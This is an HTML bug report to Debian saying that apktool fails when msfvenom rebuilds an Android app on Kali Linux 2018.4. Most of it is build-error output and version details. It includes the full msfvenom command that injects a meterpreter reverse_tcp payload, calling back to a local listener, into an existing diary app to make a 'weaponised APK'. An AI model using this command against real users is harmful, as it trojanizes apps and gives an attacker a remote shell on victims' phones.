<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css" style="display:none;"> P {margin-top:0;margin-bottom:0;} </style>
</head>
<body dir="ltr">
<div>Package: apktool</div>
<div>Version: v2.3.4-dirty<br>
</div>
<div>Severity: important</div>
<div><br>
</div>
<div><br>
</div>
<div>Apologies if this report is not in the correct format; I attempted to use `reportbug` within Kali but both the GUI and Text tool attempts crashed the bug reporter.</div>
<div><br>
</div>
<div><br>
</div>
<div><b>Some additional details about my setup, to assist with this bug</b></div>
<div>Distribution: Kali Linux 2018.4, running virtualised within VMWare.</div>
<div><span>Static hostname: kali<br>
</span>
<div>Icon name: computer-vm<br>
</div>
<div>Chassis: vm<br>
</div>
<div><span style="background: var(--white);">Virtualization: vmware</span><br>
</div>
<div>Operating System: Kali GNU/Linux Rolling</div>
<div><span style="background: var(--white);">Kernel: Linux 4.18.0-kali2-amd64</span></div>
<div>Architecture: x86-64<br>
</div>
<span></span><br>
</div>
<div><br>
</div>
<div><b>The Issue</b></div>
<div><span>Since upgrading to a fresh and clean install of Kali Linux 2018.4, msfvenom is unable to generate weaponised APKs. An identical command worked prior to the update.<br>
</span>
<div><br>
</div>
<div><br>
</div>
<div><b>How'd you do it?</b><br>
</div>
<div>`apt-get install zipalign`<br>
</div>
<div>`apt-get install lib32stdc++6 lib32ncurses6 lib32z1++`<br>
</div>
<div>`msfvenom -x /root/Downloads/Diary.apk -p android/meterpreter/reverse_tcp LHOST=192.168.224.129 LPORT=4444 -f raw -o /root/Desktop/Diary.apk`<br>
</div>
<div><br>
</div>
<div><br>
</div>
<div><b>Expected behaviour -- What should happen?</b><br>
</div>
<div>msfvenom should decompile, inject payload, and recompile the APK. An APK should be generated.<br>
</div>
<div><br>
</div>
<div><br>
</div>
<div><b>What Happens Currently</b><br>
</div>
<div><snip><br>
</div>
<div>I: Building resources...<br>
</div>
<div>W: /tmp/d20181125-19831-1akn8q0/original/res/values/public.xml:97: error: Public symbol array/activities declared here is not defined.<br>
</div>
<div>W: /tmp/d20181125-19831-1akn8q0/original/res/values/public.xml:98: error: Public symbol array/font_family declared here is not defined.<br>
</div>
<div>W: /tmp/d20181125-19831-1akn8q0/original/res/values/public.xml:99: error: Public symbol array/font_family_values declared here is not defined.<br>
</div>
<div>W: /tmp/d20181125-19831-1akn8q0/original/res/values/public.xml:100: error: Public symbol array/font_size declared here is not defined.<br>
</div>
<div>W: /tmp/d20181125-19831-1akn8q0/original/res/values/public.xml:101: error: Public symbol array/font_size_values declared here is not defined.<br>
</div>
<div>W: /tmp/d20181125-19831-1akn8q0/original/res/values/public.xml:102: error: Public symbol array/jazzy_effects declared here is not defined.<br>
</div>
<div>W: /tmp/d20181125-19831-1akn8q0/original/res/values/public.xml:103: error: Public symbol array/line_spacing declared here is not defined.<br>
</div>
<div>W: /tmp/d20181125-19831-1akn8q0/original/res/values/public.xml:104: error: Public symbol array/line_spacing_values declared here is not defined.<br>
</div>
<div>W: /tmp/d20181125-19831-1akn8q0/original/res/values/public.xml:105: error: Public symbol array/temp_unit declared here is not defined.<br>
</div>
<div>W: /tmp/d20181125-19831-1akn8q0/original/res/values/public.xml:106: error: Public symbol array/temp_unit_values declared here is not defined.<br>
</div>
<div>W: /tmp/d20181125-19831-1akn8q0/original/res/values/public.xml:107: error: Public symbol array/theme_values declared here is not defined.<br>
</div>
<div>W: /tmp/d20181125-19831-1akn8q0/original/res/values/public.xml:108: error: Public symbol array/time_format declared here is not defined.<br>
</div>
<div>W: /tmp/d20181125-19831-1akn8q0/original/res/values/public.xml:109: error: Public symbol array/time_format_values declared here is not defined.<br>
</div>
<div>W: /tmp/d20181125-19831-1akn8q0/original/res/values/public.xml:110: error: Public symbol array/timeout declared here is not defined.<br>
</div>
<div>W: /tmp/d20181125-19831-1akn8q0/original/res/values/public.xml:111: error: Public symbol array/timeout_values declared here is not defined.<br>
</div>
<div>brut.androlib.AndrolibException: brut.common.BrutException: could not exec (exit code = 1): [/tmp/brut_util_Jar_13823034621095822413.tmp, p, --forced-package-id, 127, --min-sdk-version, 16, --target-sdk-version, 28, --version-code, 341, --version-name,
 2.7.1, --no-version-vectors, -F, /tmp/APKTOOL1448141242914440406.tmp, -0, arsc, -0, META-INF/android.support.design_material.version, -0, META-INF/androidx.appcompat_appcompat.version, -0, META-INF/androidx.arch.core_core-runtime.version, -0, META-INF/androidx.asynclayoutinflater_asynclayoutinflater.version,
 -0, META-INF/androidx.browser_browser.version, -0, META-INF/androidx.cardview_cardview.version, -0, META-INF/androidx.coordinatorlayout_coordinatorlayout.version, -0, META-INF/androidx.core_core.version, -0, META-INF/androidx.cursoradapter_cursoradapter.version,
 -0, META-INF/androidx.customview_customview.version, -0, META-INF/androidx.documentfile_documentfile.version, -0, META-INF/androidx.drawerlayout_drawerlayout.version, -0, META-INF/androidx.fragment_fragment.version, -0, META-INF/androidx.interpolator_interpolator.version,
 -0, META-INF/androidx.legacy_legacy-support-core-ui.version, -0, META-INF/androidx.legacy_legacy-support-core-utils.version, -0, META-INF/androidx.legacy_legacy-support-v4.version, -0, META-INF/androidx.lifecycle_lifecycle-livedata-core.version, -0, META-INF/androidx.lifecycle_lifecycle-livedata.version,
 -0, META-INF/androidx.lifecycle_lifecycle-runtime.version, -0, META-INF/androidx.lifecycle_lifecycle-viewmodel.version, -0, META-INF/androidx.loader_loader.version, -0, META-INF/androidx.localbroadcastmanager_localbroadcastmanager.version, -0, META-INF/androidx.media_media.version,
 -0, META-INF/androidx.percentlayout_percentlayout.version, -0, META-INF/androidx.preference_preference.version, -0, META-INF/androidx.print_print.version, -0, META-INF/androidx.recyclerview_recyclerview.version, -0, META-INF/androidx.slidingpanelayout_slidingpanelayout.version,
 -0, META-INF/androidx.swiperefreshlayout_swiperefreshlayout.version, -0, META-INF/androidx.transition_transition.version, -0, META-INF/androidx.vectordrawable_vectordrawable-animated.version, -0, META-INF/androidx.vectordrawable_vectordrawable.version, -0,
 META-INF/androidx.versionedparcelable_versionedparcelable.version, -0, META-INF/androidx.viewpager_viewpager.version, -0, META-INF/com.google.android.material_material.version, -0, META-INF/services/com.github.scribejava.core.httpclient.HttpClientProvider,
 -0, META-INF/services/io.grpc.ManagedChannelProvider, -0, META-INF/services/io.grpc.NameResolverProvider, -0, png, -0, jpg, -0, res/drawable-hdpi-v4/colorstrip_shadow.9.png, -0, res/drawable-ldrtl-xxhdpi-v17/abc_spinner_mtrl_am_alpha.9.png, -0, res/drawable-xhdpi-v4/com_facebook_tooltip_black_background.9.png,
 -0, res/drawable-xhdpi-v4/com_facebook_tooltip_blue_background.9.png, -0, res/drawable-xhdpi-v4/notification_bg_low_normal.9.png, -0, res/drawable-xhdpi-v4/notification_bg_low_pressed.9.png, -0, res/drawable-xhdpi-v4/notification_bg_normal.9.png, -0, res/drawable-xhdpi-v4/notification_bg_normal_pressed.9.png,
 -0, res/drawable-xxhdpi-v4/abc_ab_share_pack_mtrl_alpha.9.png, -0, res/drawable-xxhdpi-v4/abc_btn_switch_to_on_mtrl_00001.9.png, -0, res/drawable-xxhdpi-v4/abc_btn_switch_to_on_mtrl_00012.9.png, -0, res/drawable-xxhdpi-v4/abc_cab_background_top_mtrl_alpha.9.png,
 -0, res/drawable-xxhdpi-v4/abc_list_divider_mtrl_alpha.9.png, -0, res/drawable-xxhdpi-v4/abc_list_focused_holo.9.png, -0, res/drawable-xxhdpi-v4/abc_list_longpressed_holo.9.png, -0, res/drawable-xxhdpi-v4/abc_list_pressed_holo_dark.9.png, -0, res/drawable-xxhdpi-v4/abc_list_pressed_holo_light.9.png,
 -0, res/drawable-xxhdpi-v4/abc_list_selector_disabled_holo_dark.9.png, -0, res/drawable-xxhdpi-v4/abc_list_selector_disabled_holo_light.9.png, -0, res/drawable-xxhdpi-v4/abc_menu_hardkey_panel_mtrl_mult.9.png, -0, res/drawable-xxhdpi-v4/abc_popup_background_mtrl_mult.9.png,
 -0, res/drawable-xxhdpi-v4/abc_scrubber_primary_mtrl_alpha.9.png, -0, res/drawable-xxhdpi-v4/abc_scrubber_track_mtrl_alpha.9.png, -0, res/drawable-xxhdpi-v4/abc_spinner_mtrl_am_alpha.9.png, -0, res/drawable-xxhdpi-v4/abc_switch_track_mtrl_alpha.9.png, -0,
 res/drawable-xxhdpi-v4/abc_tab_indicator_mtrl_alpha.9.png, -0, res/drawable-xxhdpi-v4/abc_textfield_activated_mtrl_alpha.9.png, -0, res/drawable-xxhdpi-v4/abc_textfield_default_mtrl_alpha.9.png, -0, res/drawable-xxhdpi-v4/abc_textfield_search_activated_mtrl_alpha.9.png,
 -0, res/drawable-xxhdpi-v4/abc_textfield_search_default_mtrl_alpha.9.png, -0, res/drawable-xxhdpi-v4/amu_bubble_mask.9.png, -0, res/drawable-xxhdpi-v4/amu_bubble_shadow.9.png, -0, res/drawable-xxhdpi-v4/common_google_signin_btn_icon_dark_normal_background.9.png,
 -0, res/drawable-xxhdpi-v4/common_google_signin_btn_icon_light_normal_background.9.png, -0, res/drawable-xxhdpi-v4/common_google_signin_btn_text_dark_normal_background.9.png, -0, res/drawable-xxhdpi-v4/common_google_signin_btn_text_light_normal_background.9.png,
 -0, gif, -0, arsc, -I, /root/.local/share/apktool/framework/1.apk, -S, /tmp/d20181125-19831-1akn8q0/original/res, -M, /tmp/d20181125-19831-1akn8q0/original/AndroidManifest.xml]<br>
</div>
<div>Error: Unable to rebuild apk with apktool<br>
</div>
<div><br>
</div>
<div><br>
</div>
<div><b>MetaSploit Version</b><br>
</div>
<div>Framework: 4.17.26-dev<br>
</div>
<div>Console : 4.17.26-dev<br>
</div>
<div><br>
</div>
<div><br>
</div>
<div>I have raised a ticket within Github where we have systematically tried to troubleshoot the issue:<br>
</div>
<div><a href="https://github.com/rapid7/metasploit-framework/issues/11024" id="LPNoLP774828">https://github.com/rapid7/metasploit-framework/issues/11024</a><br>
</div>
<br>
<div><br>
</div>
<div>A ticket has also been raised with Kali maintainers, who have requested that the ticket be raised with Debian:</div>
<div><a href="https://bugs.kali.org/view.php?id=5126" id="LPlnk122365">https://bugs.kali.org/view.php?id=5126</a><br>
</div>
<div><br>
</div>
<div>"I did notice that Debian's bump to 2.3.4 removed a packaged jar file, but after attempting to roll back that patch, I had the same issue. I also tried older versions from Debian Sid (2.2.1) but was unable to get msfvenom to use it. I do believe this bug
 should be opened with Debian."</div>
<div><br>
</div>
<div><br>
</div>
<div>I have discussed the issue with the apktool maintainer over at the Gitter Chat, who advised that the issue is not impacting other non-Debian users, so is likely to have been caused due to some recent changes.</div>
<div><br>
</div>
<div><br>
</div>
<div><b>TL;DR</b><br>
</div>
<span>Identical command worked in 2018.3, does not work in 2018.4. Appears that apktool broke based on dependancy or other changes introduced in 2018.4.</span></div>
<div><span><br>
</span></div>
<div><span>Really grateful for any help!</span></div>
<pre style="caret-color: rgb(0, 0, 0); color: rgb(0, 0, 0); margin: 1.5em 0px; outline: 0px; font-size: 12pt; font-family: Calibri, Helvetica, sans-serif; overflow: auto;"></pre>
<div style="font-family: Calibri, Helvetica, sans-serif; font-size: 12pt; color: rgb(0, 0, 0);">
</div>
<pre style="caret-color: rgb(0, 0, 0); color: black; margin: 1.5em 0px; outline: 0px; font-size: 13px; font-family: monospace; overflow: auto"></pre>
<div id="signature">
<div><font size="2" face="Tahoma"></font></div>
</div>
</body>
</html>